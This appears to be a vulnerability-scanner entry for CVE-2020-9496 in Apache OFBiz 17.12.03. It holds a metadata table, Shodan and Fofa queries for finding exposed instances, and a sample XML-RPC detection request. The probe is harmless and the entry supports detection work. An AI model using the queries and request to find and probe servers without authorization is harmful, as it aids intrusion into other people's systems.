| Title | Apache OFBiz 17.12.03 - Cross-Site Scripting |
|---|---|
| Author | dwisiswant0 |
| Severity | Medium |
| Impact | Successful exploitation of this vulnerability could allow an attacker to execute arbitrary script code in the context of the victim's browser, potentially leading to session hijacking, defacement, or theft of sensitive information. |
| Remediation | Apply the latest security patches or upgrade to a non-vulnerable version of Apache OFBiz. |
| CVSS Score | 6.1 |
| EPSS Score | 0.93772 |
| CVE ID | CVE-2020-9496 |
| CWE ID | CWE-502 |
| Shodan Query | http.html:"ofbiz"ofbiz.visitor= |
| Fofa Query | body="ofbiz"app="apache_ofbiz" |
| Tags | cve cve2020 ofbiz packetstorm apache java vkev vuln |
Apache OFBiz 17.12.03 contains cross-site scripting and unsafe deserialization vulnerabilities via an XML-RPC request.
POST /webtools/control/xmlrpc HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh, Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.1 Safari/605.1.15
Connection: close
Content-Length: 145
Content-Type: application/xml
Origin: http://www.victim.com
Accept-Encoding: gzip
<?xml version="1.0"?><methodCall><methodName>ProjectDiscovery</methodName><params><param><value>dwisiswant0</value></param></params></methodCall>
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2020/CVE-2020-9496.yaml
🦈 Packet Capture: ⬇️ Download cve-2020-9496.pcap
N/AN/A